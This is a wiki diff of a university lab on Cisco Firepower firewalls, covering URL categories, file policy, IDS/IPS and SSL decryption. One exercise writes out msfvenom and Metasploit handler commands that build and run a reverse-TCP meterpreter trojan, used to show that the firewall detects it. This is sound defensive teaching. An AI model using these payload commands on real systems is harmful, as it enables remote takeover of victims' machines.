Differences
This shows you the differences between two versions of the page.
|
sred:laborator_3._dedicated_firewall_security [2019/10/31 10:01] horia.stoenescu [Lab 3. Dedicated firewall security] |
sred:laborator_3._dedicated_firewall_security [2022/11/04 14:40] (current) horia.stoenescu Moved syslog exercise to lab5 and changed grading |
||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | ========== Lab 3. Dedicated firewall security (FTD) ========== | + | ========== Lab 4. Dedicated firewall security (part 2) - FTD ========== |
| - | ==== Intro ==== | + | ==== Setup ==== |
| - | This lab we are going to configure the **Cisco Firepower Thread Defense** (FTD) that can be accessible from web or cli. FTD is an //unified software image// and includes Cisco ASA features and Firepower services. | + | |
| - | ==== Setup ==== | + | === Story === |
| + | After deploying and configuring successfully the FTD and creating a basic topology with just 1 internal client, we decided to create another internal zone called **internal2** for a secondary branch. Moreover, we studied in depth some features of FTD and decided to apply them in our secured network: | ||
| - | Cisco 7200 is now changed with the FTD and UbuntuVM and KaliVM are now put in the same network and zone (a private one). InternetVM remains in the same network and zone (public one). The topology is as follows: | + | - traffic filtering based on **URL categories** |
| - | {{:sred:lab3_sred_topologie.png?650|}} | + | - **file policy** to detect malware |
| - | == FTD == | + | - **IDS/IPS** for network traffic investigation of possible attacks |
| - | The **firewall** has a 90 days trial available license, with 4 vCPUs configured, 8196 MB RAM and 4 network adapters (1 for a paravirtualized interface using host-only adapter in VBox network 192.168.56.0/24 and the rest using Generic Driver adapter - internal configured in GNS3). See [[https://www.cisco.com/c/en/us/td/docs/security/firepower/quick_start/kvm/ftdv-kvm-gsg.html#pgfId-3315592|here]] on Table 1 the requirements for deploying VM. | + | |
| - | It has four GigabitEthenet interfaces (1 is used for **management** and the rest of 3 for **traffic**) and due to the internals of virtual machine, the last 2 are added in the zones from above: | + | - **SSL decryption** for traffic in-depth analysis |
| - | - GigabitEthernet2 is connected to InternetVM - zone **outside_area** | + | |
| - | - GigabitEthernet3 is connected to internal area switch - zone **inside_area** | + | |
| - | Also, GigabitEthernet0 corresponds to the management interface which is not attached to any other interface in GNS3 (it is attached to vm area of virtualBox, the gateway being your host machine). | + | |
| - | <note warning> | + | - logging to **syslog** server to generate alerts |
| - | For not creating confusions, in the following lines we are going to use the exact names for the traffic interfaces, as follows: | + | |
| - | * GigabitEthernet3 (from GNS3) is GigabitEthernet0/1 in FTD (with logical name **inside**). We will use for it **GigabitEthernet0/1** OR **inside** | + | |
| - | * GigabitEthernet2 (from GNS3) is GigabitEthernet0/0 in FTD (with logical name **outside**). We will use for it **GigabitEthernet0/0** OR **outside** | + | |
| - | Moreover, all operations are exemplified for WebUI (FDM for Firepower machine). If you would like to use CLI, you can start by looking at this [[https://www.cisco.com/c/en/us/td/docs/security/firepower/60/configuration/guide/fpmc-config-guide-v60/fpmc-config-guide-v60_appendix_01011110.html|documentation]], but when using such devices for the first time, is highly recommended to use in the beginning the GUI of it. | + | Other features include: |
| - | Outside interface is in network: **172.31.0.0/24** | + | - High availability (**HA**) used to provide redundancy or load balancing - will be studied in detail and implemented on Fortigate machines [[https://ocw.cs.pub.ro/courses/sred/lab5|here]]. Use cases of HA active-passive: failover in case of crashes, OS updates of active instance and connection needs to remain up (we may have a website that needs to have 24/7 availability and a patch update is required) |
| - | Inside interface is in network: **192.168.45.0/24** | + | - **remote access VPN** (used to create a gateway for remote users connection to internal network - like we use GlobalProtect for eve-ng access) - will be studied also in detail and implemented on Fortigate machines [[https://ocw.cs.pub.ro/courses/sred/lab9|here]] |
| - | </note> | + | |
| - | After configuring FTD, there is need to **deploy configuration** (commit it) in order to take effect (be aware that deployments on virtual devices may take up to 3 minutes, so try to do this as rare as possible). A nice feature offered by Cisco is that a configuration difference is given for entities to have a better look over the newer version before committing. You can also download the current configuration in JSON format (is automatically deleted from FTD after deploying new changes) to have a snapshot just for analysis (it cannot be uploaded to machine). | + | === Topology === |
| + | The topology here is almost the same as the one from the last lab, the only difference being the new zone (called inside2) with another client (client2, which is the Kali VM). | ||
| - | <note important> | + | {{:sred:lab4_topology.png?750| }} |
| - | One of the components that require a license on FTD is the deployment. Without it, you cannot do any new configuration and the machine becomes mostly non usable (rely only on already found configuration on it). | + | |
| - | </note> | + | |
| - | FTD also has configured a default policy rule that lets any traffic from inside to outside (and no started traffic from outside to inside). | + | ==== Exercises ==== |
| <note> | <note> | ||
| - | After booting up the firewall in GNS3, wait for approximately 10 minutes for accessing the firepower management center (FMC or the webUI manager of the FTD). To access it, simply go to a browser and introduce the management ip address **192.168.56.102** with https protocol. | + | When working on each exercise, I recommend looking over the [[https://docs.defenseorchestrator.com/Configuration_Guides|documentation]] provided by Cisco. |
| </note> | </note> | ||
| - | <note> | + | === e1. [2p] New guy in network === |
| - | The credentials for FTD: | + | Remember that we deployed the firewall with 4 interfaces: 1 for mgmt and the rest of 3 for traffic (only 2 of them inside and outside where used and configured). Then, there is 1 left we need to configure for inside traffic data. |
| - | user: **admin** | + | You need to: |
| - | password: **Admin123** | + | - firstly shutdown the machine (only from cli!) |
| - | </note> | + | - add a new Linux node with kali image (use it for ips detection) and the rest of config default (1 eth interface) |
| - | == InternetVM == | + | |
| - | This machine has 2 interfaces: | + | |
| - | - **enp0s3**: use to connect to internal area (with packets filterted by FTD). Assigned address 172.31.0.2/24. | + | |
| - | - **enp0s8**: use to connect the machine to the Internet (using NAT cloud) | + | |
| - | It has ip routing activated and an iptables nat rule with MASQUERADE added. | + | - connect it to to G0/2 found on FTD and start both nodes |
| - | <note tip> | + | - go to FDM and enable the 3rd interface in routed mode, name it inside2, ip 192.168.46.1 and create a new dhcp server to apply to it (you can use the pool: 192.168.46.2 - 192.168.46.254) |
| - | In /etc/network/interfaces, the interface enp0s3 is configured permanently with address + netmask and a route to internal area: | + | |
| - | <code> | + | |
| - | student@internet:~# cat /etc/network/interfaces | + | |
| - | [...] | + | |
| - | auto enp0s3 | + | |
| - | iface enp0s3 inet static | + | |
| - | address 172.31.0.2 | + | |
| - | netmask 255.255.255.0 | + | |
| - | up route add -net 192.168.45.0 netmask 255.255.255.0 gw 172.31.0.1 | + | |
| - | </code> | + | |
| - | Is it best not to do any modifications here. | + | |
| - | But, if you need to restart the networking service after modifications are made in this file, use: | + | |
| - | <code> | + | |
| - | student@internet:~# sudo /etc/init.d/networking restart | + | |
| - | [ ok ] Restarting networking (via systemctl): networking.service | + | |
| - | </code> | + | |
| - | A default route to the internet via next hop 192.168.159.2 (default gateway) is also added, alongside a route via firewall to internal subnet. | + | - create a new security zone named inside2 (linked with the new interface) and also the corresponding nat and access policy rules |
| - | Also, if there is any other default route (different than the one from above), delete it. | + | Test if client2 has Internet access. |
| + | |||
| + | <note> | ||
| + | Remember the default credentials of kali machine: root/toor. | ||
| </note> | </note> | ||
| - | FTD has added in the configuration the default route (route to 0.0.0.0/0) via hip next hop 172.31.0.2. | + | === e2. [2p] Category is better === |
| + | In the previous lab, we decided to block facebook site for internal users, but this was based on static url entries defined by us. As we want to block a set of websites based on their type, we can use url categories. | ||
| - | <note important> | + | Your task is to create an access policy rule for the internal zones to block the url category where facebook is also located. You need to enable the url license and find the corresponding category for facebook (hint: [[https://talosintelligence.com/|Talos]]). |
| - | For InternetVM there is a configuration issue on the machine (the interface enp0s3 gets the ip address 172.31.0.1 - corresponds to fw). As a workaround for now, do the following: | + | |
| - | <code> | + | |
| - | student@internet:~# sudo ifdown enp0s3; sudo ifup enp0s3 | + | |
| - | student@internet:~# sudo ip a del 172.31.0.1/24 dev enp0s3 | + | |
| - | </code> | + | |
| - | After this, verify the ip address again on enp0s3: | + | |
| - | <code> | + | |
| - | student@internet:~# ip a s dev enp0s3 | + | |
| - | [...] | + | |
| - | inet 172.31.0.2/24 [...] scope global enp0s3 | + | |
| - | </code> | + | |
| - | </note> | + | |
| - | This device also has installed a basic apache2 server (with index file in /var/www/html) which is inactive by default. For the next exercises you can use it if you want. Enable it using: | + | For testing, do the following: |
| - | <code> | + | |
| - | student@internet:~# sudo service apache2 start | + | |
| - | student@internet:~# sudo service apache2 status | + | |
| - | apache2.service | + | |
| - | [...] | + | |
| - | Active: active (running) | + | |
| - | [...] | + | |
| - | </code> | + | |
| - | Test it with curl from endpoints (ubuntu or kali VMs). | + | |
| - | == Clients == | + | - test access from client to twitter, snapchat, tiktok etc. It should fail. |
| - | UbuntuVM and KaliVM are both connected to the same switch and IP addresses added via DHCP. The inside interface from FTD has a static ip configured: 192.168.45.1/24 with a DHCP server configured for it. The address pool is 192.168.45.46-192.168.45.254. You can find the server on Device > System Settings > DHCP server and add/edit the current one if you like. A default route is injected also to endpoints via 192.168.45.1 (their gateway). The machines should receive after booting the IP addresses on enp0s3 (Ubuntu) and eht0 (Kali). | + | |
| - | <note important> | + | - test access to other websites like google.com, digi24.ro etc. |
| - | After boot, start manually DHCP process on both clients (receive the IP, default route and also use only locally configured DNS servers - 8.8.8.8 and 8.8.4.4): | + | |
| - | <code> | + | |
| - | student@ubuntu:~# sudo dhclient enp0s3 | + | |
| - | student@ubuntu:~# ifconfig enp0s3 | + | |
| - | enp0s3: [...] | + | |
| - | inet 192.168.45.47 netmask 255.255.255.0 [...] | + | |
| - | [...] | + | |
| - | </code> | + | |
| - | Verify the default route using: | + | === e3. [2p] File policy === |
| - | <code> | + | We can block a client from downloading malware file from websites, emails, ftp server etc. by using file policy in an access policy. There is need firstly to enable the following licenses: threat and malware, then create an access policy with action Allow (the only action where file policy can be used), from zones inside and inside2 to outside zone. This will protect internal users from downloading any known malware by Talos. |
| - | student@ubuntu:~# ip r s | + | |
| - | default via 192.168.45.1 dev enp0s3 # static route | + | |
| - | 192.168.45.0/24 dev enp0s3 [...] # directly connected network | + | |
| - | </code> | + | |
| - | </note> | + | |
| + | There are 2 options for this feature: | ||
| - | Before starting the exercises, ping google.ro (or any other website) from FTD and internal machines to be sure internet is reachable from them. For Cisco VM, you can send icmp-echo requests using the CLI from GUI (the button near the deploy one). Note that the syntax is limited to commands like ping,traceroute or show. | + | 1. **Block malware all** - use this one: check the file downloaded and if it is identified as malware, block the download and generate logs (monitoring > malware). See this option as prevention (ips like). |
| - | ==== Exercises ==== | + | |
| - | On Cisco FTD we enumerate the following basic features: | + | |
| - | * [[https://www.cisco.com/c/en/us/td/docs/security/firepower/650/configuration/guide/fpmc-config-guide-v65/reusable_objects.html#ID-2243-000000f2|network objects]] for creating an alias for IPs (example: instead of having to keep in mind your server IPs, you can apply such **labels**). It can represent one (type **Host**) or more IP addresses (type **Network**). There can also be created groups containing one or more network objects. You can find them on Objects > Networks | + | |
| - | * [[https://www.cisco.com/c/en/us/td/docs/security/firepower/650/configuration/guide/fpmc-config-guide-v65/reusable_objects.html#ID-2243-00000364|port objects]] also for creating labels for different ports. There are multiple already predefined by Cisco on Objects > Ports | + | |
| - | * add one or more interfaces to [[https://www.cisco.com/c/en/us/td/docs/security/firepower/650/configuration/guide/fpmc-config-guide-v65/reusable_objects.html#ID-2243-000009b4|zones]] for managing and classifying traffic flows for different policies and configurations. Found on Objects > Security Zones | + | |
| - | * policy rules, which are processed in their order. This means that is very important to have the specific one at the beginning and leave the more generic ones at the end. When creating a policy, there are three actions available for configuration: | + | |
| - | - **Trust**: traffic is allowed and no more inspection is done on it | + | |
| - | - **Block**: drop packets | + | |
| - | - **Allow**: further inspection can be configured here using intrusion policies | + | |
| - | * for network analysis, there is a monitoring section in Dashboard to see, for example, traffic that matched policies. There is also possible to forward syslogs to external servers | + | |
| - | * geolocation for identifying users based on the IP location | + | |
| - | + | ||
| - | As an introduction to this firewall, we will test basic applications of it: | + | |
| - | * filter ICMP and other applications from some clients | + | |
| - | * filter DNS port for some clients | + | |
| - | * filter URLs based on a pre-configured list | + | |
| + | 2. **Malware Cloud lookup**: this will only check the file and generate logs if it's identified as a threat, but the download is still possible for clients. See this option as detection (ids like). | ||
| + | |||
| + | After deploy, to test blocking, try to download from each client: http://www.cloudyip.net/AMP/Zombies.pdf . This is not a harmful pdf, but cisco will identify it as malware and block it. | ||
| - | === 1. Filter ICMP application === | + | Try also to download from Palo Alto [[https://docs.paloaltonetworks.com/wildfire/9-0/wildfire-admin/submit-files-for-wildfire-analysis/verify-wildfire-submissions/test-a-sample-malware-file.html|website]] samples of Wildfire (their sandbox and considered the best on the market) malware files. |
| - | Let only UbuntuVM ping IPs, deny ping for any other ip of internal network and allow any other applications (like web-browsing or VoIP): | + | |
| - | - first policy rule is for allowing traffic from zone inside_area AND ip 192.168.45.47 (or the IP you have on UbuntuVM- it can differ, so do not add this one if is not the same) to zone outside_area AND application ICMP (for ipv4) | + | |
| - | - second one is for denying (BLOCK) traffic from zone inside_area to zone outside_area AND application ICMP | + | |
| - | - the last one is for allowing any other type of traffic from zone inside_area to zone outside_area (can be called **allow-any-from-inside-to-outside**) | + | |
| - | Add all three to security policies and deploy configuration. | + | |
| - | For testing, do the following: | + | Then, go to FDM > Monitoring > Dashboard > Malware and see how transactions for pdf/msexe files are identified. |
| - | * from Ubuntu machine, ping google.ro. It should work | + | |
| - | * from Kali machine, ping also google.ro. It should not work | + | |
| - | * from both of them, curl upb.ro (with -L to follow the link in case of 301 HTTP code) or 172.31.0.2 (web server from InternetVM) OR nslookup for a domain. All operations should work on both devices | + | |
| - | <note tip> | + | See that for the first file downloading is blocked, but for the second one, as it could not be identified exactly the 'disposition'. |
| - | A nice feature offered by Cisco is **packet-tracer** command (is NOT the simulator you know) for tracking packets in data path. It is a very important tool for understanding better the logic behind the routing and filtering of firewall. We will use it below for sending ping from Ubuntu (dropped) and from Kali (allowd). See more about icmp code field which are used with this command [[https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml|here]]. This can be used only from your CLI on the VirtualBox machine, as follows: | + | |
| - | <code> | + | |
| - | # we want to test the second security rule added above | + | |
| - | # send icmp-echo-request (code type 8) and wait for icmp-echo-reply (code type 0) | + | |
| - | > packet-tracer input inside icmp 192.168.45.48 8 0 fqdn google.ro detailed | + | |
| - | Mapping FQDN google.ro to IP address 172.217.22.35 (name solving) | + | |
| - | Phase: 1 | + | === e4. [2p] IDS/IPS === |
| - | Type: ROUTE-LOOKUP | + | FTD is based on a software developed by Sourcefire, company that was bought by Cisco in 2013. Sourcefire also developed snort, a network ids/ips (which you can also download on your own linux and create different rules to block nmap, flood attacks etc.). FTD is based on Snort for IDS/IPS and works in prevention mode by default, which will identify the possible attack and drop the connection. Snort in FTD has multiple default route already available. To check for a possible rule, use snort [[https://www.snort.org/|website]]. Each rule has a GID and a SID and based on them you can search if a specific exploit can be identified. |
| - | Subtype: Resolve Egress Interface | + | |
| - | Result: ALLOW | + | |
| - | [...] | + | |
| - | Phase: 2 | + | It can be enabled in access policy, on tab Intrusion Policy and has 4 modes: |
| - | Type: ACCESS-LIST | + | |
| - | Subtype: log | + | |
| - | Result: DROP | + | |
| - | [...] | + | |
| - | Result: | + | - connectivity over security |
| - | input-interface: inside | + | |
| - | input-status: up | + | |
| - | input-line-status: up | + | |
| - | output-interface: outside | + | |
| - | output-status: up | + | |
| - | output-line-status: up | + | |
| - | Action: drop | + | |
| - | Drop-reason: (acl-drop) Flow is denied by configured rule[...] | + | |
| - | </code> | + | |
| - | By looking at the results we can see that the first phase consists in finding the next hop for forwarding the ICMP packet (already configured in the machine). Connection to it is allowed. For the next phase, the ICMP packet needs to be sent, but is denied by the security rule (seen also as acl-rule). | + | - balanced security and connectivity |
| - | Next, send icmp echo requests from Kali: | + | - security over connectivity |
| - | <code> | + | |
| - | > packet-tracer input inside icmp 192.168.45.47 8 0 fqdn google.ro detailed | + | |
| - | [...] | + | |
| - | Result: | + | |
| - | input-interface: inside | + | |
| - | input-status: up | + | |
| - | input-line-status: up | + | |
| - | output-interface: outside | + | |
| - | output-status: up | + | |
| - | output-line-status: up | + | |
| - | Action: allow | + | |
| - | </code> | + | |
| - | Here, there are multiple phases for packets to be forwarded, but the ending is what interests us - action is allow. | + | |
| - | </note> | + | |
| - | === 2. Filter ports === | + | - maximum detection (which is the one we will use in our configuration) |
| - | In Objects > Ports there are multiple ports predefined by Cisco that we are going to use on here. UbuntuVM will be let to access everything from the Internet, but Kali is going to have a small list of pre-defined IPs that is going to use (3 IPs are already added in /etc/hosts) and DNS application is not allowed for it. | + | |
| - | Delete the first 2 rules added above and keep only **allow-any-from-inside-to-outside**. | + | The difference between them is the priority (connection or security) and if rules are enabled or not. We will use the last one in order to have the required one already enabled (on action DROP). |
| - | Your task is: | + | <note> |
| - | * add a rule for dropping DNS for Kali host only (verify the ip for that machine). DNS packets should not exceed the value of 512 bytes, but just to be sure add both DNS over UDP and DNS over TCP applications for destination. In case of IPv6 and DNSSEC responses the TCP protocol is used instead of UDP. | + | Regarding rules, some of them can be removed on different versions of FTD. For example, in Snort currently there are multiple nmap rules deleted, like this [[https://www.snort.org/rule_docs/1-469|one]]. You can try to search for them on Intrusion policy with no results. |
| - | * add a rule (or keep the old one **allow-any-from-inside-to-outside**) to allow anything from inside_area zone to outside_area | + | </note> |
| - | Deploy and test: | + | Create a new access policy rule: from inside and inside2 to inside2 and inside, action Allow. Deploy and go to Kali machine (client2). |
| - | * //curl google.ro// from Kali should not work. Try this also on Ubuntu and //ping google.ro// or //nslookup google.ro//. They should work | + | |
| - | * now try on Kali to ping (or other application like curl, wget) upb.ro, acs.curs.pub.ro and acs.pub.ro (entries found in /etc/hosts with IPs from Politehnica subnet 141.85.0.0/16). All should work. | + | |
| - | === 3. URL filtering === | + | Firstly, we will use a reverse tcp attack from attacker machine. |
| - | Before doing any configuration, delete the first rules from above with the exception of **allow-any-from-inside-to-outside**. | + | |
| - | Let's say that we want our clients to not use their desktops/laptops for accessing //social media websites// like facebook.com or twitter.com and //shopping websites// like emag.ro and alibaba.com. To do this, there is firstly need to enable URL filtering from Device > Smart Licenses > View Configuration > URL License and click Enable (it may take a few seconds). | + | Create the trojan which we will copy to client1 (in a real life scenario, the attacker can generate phising attacks with this executable wrapped as another application and in the same time, it will listen for requests from client). |
| - | Next, configure policy rules: add from zone inside_area to zone outside_are, from URLs tab > add new ones on the left side URLS and create new URL. Define the 4 required ones from above (you can play with other ones if you want) - URL object and then add them to rule. Deploy configuration and try from both endpoints to access the link using curl. Try also to access other to see they are not blocked. | + | <code> |
| + | root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.46.2 LPORT=4444 -f elf > 1.exe | ||
| + | # this will listen for connection on port 4444 from ip 192.168.46.2 (ip of kali - this should be assigned by dhcp server of FTD) | ||
| + | root@kali:~# scp 1.exe eve@192.168.45.46:~ | ||
| + | # copy it to home dir of client1 | ||
| + | </code> | ||
| + | Modify the policy rule from above: enable 'Intrusion policy' with 'Maximum Detection'. This is necessary to be added after scp as the crafted file will be identified as threat (named **128|6|SSH_EVENT_PAYLOAD_SIZE**), making the copy not possible. In a real life scenario, this part needs to be secured by mail solutions and identified as spam containing possible malware. | ||
| + | |||
| + | <note warning> | ||
| + | Do not use it on Inside-outside rule as some valid traffic I've seen it identified (like nslookup responses from 8.8.8.8 are blocked). I will investigate this false positives and come with a response in future. | ||
| + | </note> | ||
| + | |||
| + | Then, from kali start metasploit and use payload linux/x86/meterpreter/reverse_tcp: | ||
| <code> | <code> | ||
| - | student@ubuntu:~# curl emag.ro | + | root@kaili:~# msfconsole |
| - | <!DOCTYPE html> | + | msf > use exploit/multi/handler |
| - | <html> | + | msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp |
| - | <head> | + | payload => linux/x86/meterpreter/reverse_tcp |
| - | <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> | + | msf exploit(handler) > set lhost 192.168.46.2 |
| - | <title>Access Denied</title> | + | lhost => 192.168.46.2 |
| - | <style type="text/css">body {margin:0;font-family:verdana,sans-serif;} h1 {margin:0;padding:12px 25px;background-color:#343434;color:#ddd} p {margin:12px 25px;} strong {color:#E0042D;}</style> | + | msf exploit(handler) > set lport 4444 |
| - | </head> | + | lport => 4444 |
| - | <body> | + | |
| - | <h1>Access Denied</h1> | + | |
| - | <p> | + | |
| - | <strong>You are attempting to access a forbidden site.</strong><br/><br/> | + | |
| - | Consult your system administrator for details. | + | |
| - | </p> | + | |
| - | </body> | + | |
| - | </html> | + | |
| </code> | </code> | ||
| + | |||
| + | Go to client1 and start the executable: | ||
| <code> | <code> | ||
| - | student@ubuntu:~# curl example.com | + | eve@ubuntu:~$ chmod +x 1.exe; ./1.exe |
| - | <!doctype html> | + | |
| - | <html> | + | |
| - | <head> | + | |
| - | <title>Example Domain</title> | + | |
| - | [...] | + | |
| </code> | </code> | ||
| - | You can see also by looking only at the HTTP header: | + | Start the attack from kali: |
| <code> | <code> | ||
| - | student@ubuntu:~# curl -s -I emag.ro | + | msf exploit(handler) > run |
| - | HTTP/1.1 403 Forbidden | + | |
| - | Connection: close | + | [*] Started reverse TCP handler on 192.168.46.2:4444 |
| - | [...] | + | |
| - | </code> | + | [*] Sending stage (985320 bytes) to 192.168.45.46 |
| - | <code> | + | |
| - | student@ubuntu:~# curl -s -I example.com | + | # this must hang here as the connection will be blocked by FTD |
| - | HTTP/1.1 200 OK | + | |
| - | [...] | + | ^C |
| </code> | </code> | ||
| - | <note tip> | + | Then find on FTD > monitoring > dashboard > the threat **129|12|STREAM5_SMALL_SEGMENT** from attacker 192.168.46.2 (in my case ip is 192.168.46.3 for kali): |
| - | On this feature, there exists also default categories for websites already provided by Cisco (a website can be identified as belonging to such a category). For example, for category **Dating** //tinder.com// is found or for **Social Networking** //badoo.com//. The //reputation// for each of them is set from Trusted (allow) to Untrusted (block). You can use this [[https://talosintelligence.com/|website]] for reputation lookup. | + | |
| + | {{:sred:threat.png?800|}} | ||
| + | |||
| + | |||
| + | === e5. [1p] Staying in the middle === | ||
| + | <note important> | ||
| + | Before moving to this exercise, make sure you disable Intrusion policy from the rule created earlier. Reason: deployment takes a lotes with maximum policy in place. | ||
| </note> | </note> | ||
| - | === 4. Other features of Cisco FTD === | + | We can inspect also encrypted traffic using FTD in two ways: |
| - | You can see that on security policies (access rules) there are other tabs which not treated on this lab, like the following: | + | - decrypt re-sign (behaves like a mitm) |
| - | - **Users**: identify users based on their identities. This login is needed before any other security policies are analyzed. It is useful for adding another layer of security for protection against users that may not have the permission to be in a network area. This is similar to [[https://docs.paloaltonetworks.com/pan-os/7-1/pan-os-admin/user-id|User-Id]] from Palo Alto. This can be done in two modes: | + | |
| - | * passive-authentication: identities are found in Active Directories (AD). The user is prompted for his credentials | + | |
| - | * active-authentication: the firewall has a CA certificate that needs to be installed on clients' machines for doing SSL decryption and not seeing the untrusted error in browser. A captive portal is needed here. | + | |
| - | - **Intrusion Policy**: a subscription license which is already included with the 90 days smart license is the **Threat** one. It performs intrusion detection + prevention and file control. By enabling it, **intrusion policies** can be applied to access rules. | + | |
| - | - **File policy**: detect malicious software using Advanced Malware Protection (AMP) for Firepower or perform file control. This also needs a smart license to be enabled. | + | |
| - | To capture any logs, simply enable **logging** for security ruler (at the end or at the end and beginning) and see them in Monitor. A **syslog** can also be configured and used to forward to syslog servers logs regarding dropped packets (for example) with a level of severity (INFO, ALERT etc.). There are very useful in case of monitoring infrastructures and how are clients behaving. | + | - decrypt known key (if you are the owner of the website - add it also to ftd and decrypt every packets s2c or c2s) |
| + | |||
| + | To be easier for configuration, we will use only the first option. From Polices > SSL decryption > enable decrypt re-sign and download the CA certificate, then upload it to client1. | ||
| + | |||
| + | <note> | ||
| + | If you have RDP enabled for client1 Linux machine, just copy and paste the cert to a new file on home dir ca_ftd.pem. | ||
| + | |||
| + | If not, use this [[https://privnote.com/|site]] to add the CA cert as it is in pem format, then open it from client1 and save it to home dir as ca_ftd.pem. | ||
| + | </note> | ||
| + | |||
| + | Create a policy for traffic coming from inside to outside zone and for other fields keep any. After commit, try to access any website and see the browser error: unknown_issuer. This is because it does not know about that issuer/CA the ftd is currently using. To solve this, add the uploaded CA in it's trust store (from Mozilla preferences > search for certificates > view certificates > import > select ca_ftd.pem file > enable 'trust this ca to identify websites' and ok). Try again to access websites with http over tls (microsoft.com, digi24.ro etc.). Check also the cert of each and the issuer CN (it should be 'firepower' or the hostname of your FTD). | ||
| <note important> | <note important> | ||
| - | At the end, shutdown the firepower machine from CLI: | + | In a real life scenario, most of certificates used by firewalls are signed by known authorities (like DigiCert, GoDaddy etc.). |
| + | Moreover, you should not install any CA in your trust store as may permit in this way access to cloned/harmful websites. | ||
| + | </note> | ||
| + | |||
| + | === e6. [1p] Obsolete is not accepted === | ||
| + | In the beginning of 2020, TLS version 1.0 and 1.1 became obsolete and many websites (850.000 were still using this old versions as said by [[https://news.netcraft.com/archives/2020/03/03/browsers-on-track-to-block-850000-tls-1-0-sites.html|netcraft]]) were affected by this decision. Currently, many of them have switched to newer versions like 1.2 and 1.3 and also browser implemented endpoint filtering and blocking websites if TLS version is less or equal to 1.1. | ||
| + | |||
| + | As, for now, we don't collect from internal clients data like browser version, we will suppose they did not update it for some time (which is the case for us also). | ||
| + | |||
| + | There exists a nice suite of testing websites called [[https://badssl.com|badssl]] where you can find different web pages with security problems: expired or revoked certificate, bad CN or tls version etc. All of those can be used for testing different scenarios, without having to create, for example, virtual hosts on apache2 servers with different problems. | ||
| + | |||
| + | From client1, go to badssl website and try all three tls websites: tls-v-1-0, tls-v-1-2 and tls-v-1-3. You should have access to all of them. Check also other websites like: expired, wrong-host etc. and see how blocking is already done by the browser. | ||
| + | |||
| + | To enforce this new requirement, we need to create another ssl decryption rule: will block all servers that are using tls1.0, tls1.1 and also ssl3.0 (which is for a long period of time eol). Check again tls testing websites from above and see how connection is dropped for the first 2. | ||
| + | |||
| + | <note> | ||
| + | We can also block websites that are using certificates **self-signed** or **invalid**: expired, not yet available cert, bad CN, revoked. | ||
| + | |||
| + | Of course, using the method do not decrypt, we can except some websites based on url, users, certificate or tls version from decryption (we may not want to to decrypt health or banking data for our users). | ||
| + | </note> | ||
| + | |||
| + | <note warning> | ||
| + | After you finish working with FTD equipment, please go to cli mode and type: | ||
| <code> | <code> | ||
| > shutdown | > shutdown | ||
| This command will shutdown the system. Continue? | This command will shutdown the system. Continue? | ||
| Please enter 'YES' or 'NO': YES | Please enter 'YES' or 'NO': YES | ||
| - | [...] | ||
| </code> | </code> | ||
| - | After this, stop the device from GNS3 (this will allow it to shutdown correctly and when booting up again it will not do DB checks). | + | This will ensure everything is handled right when shutting down the device (if you just stop it from webui, you will need to redo all the steps from above!). |
| </note> | </note> | ||
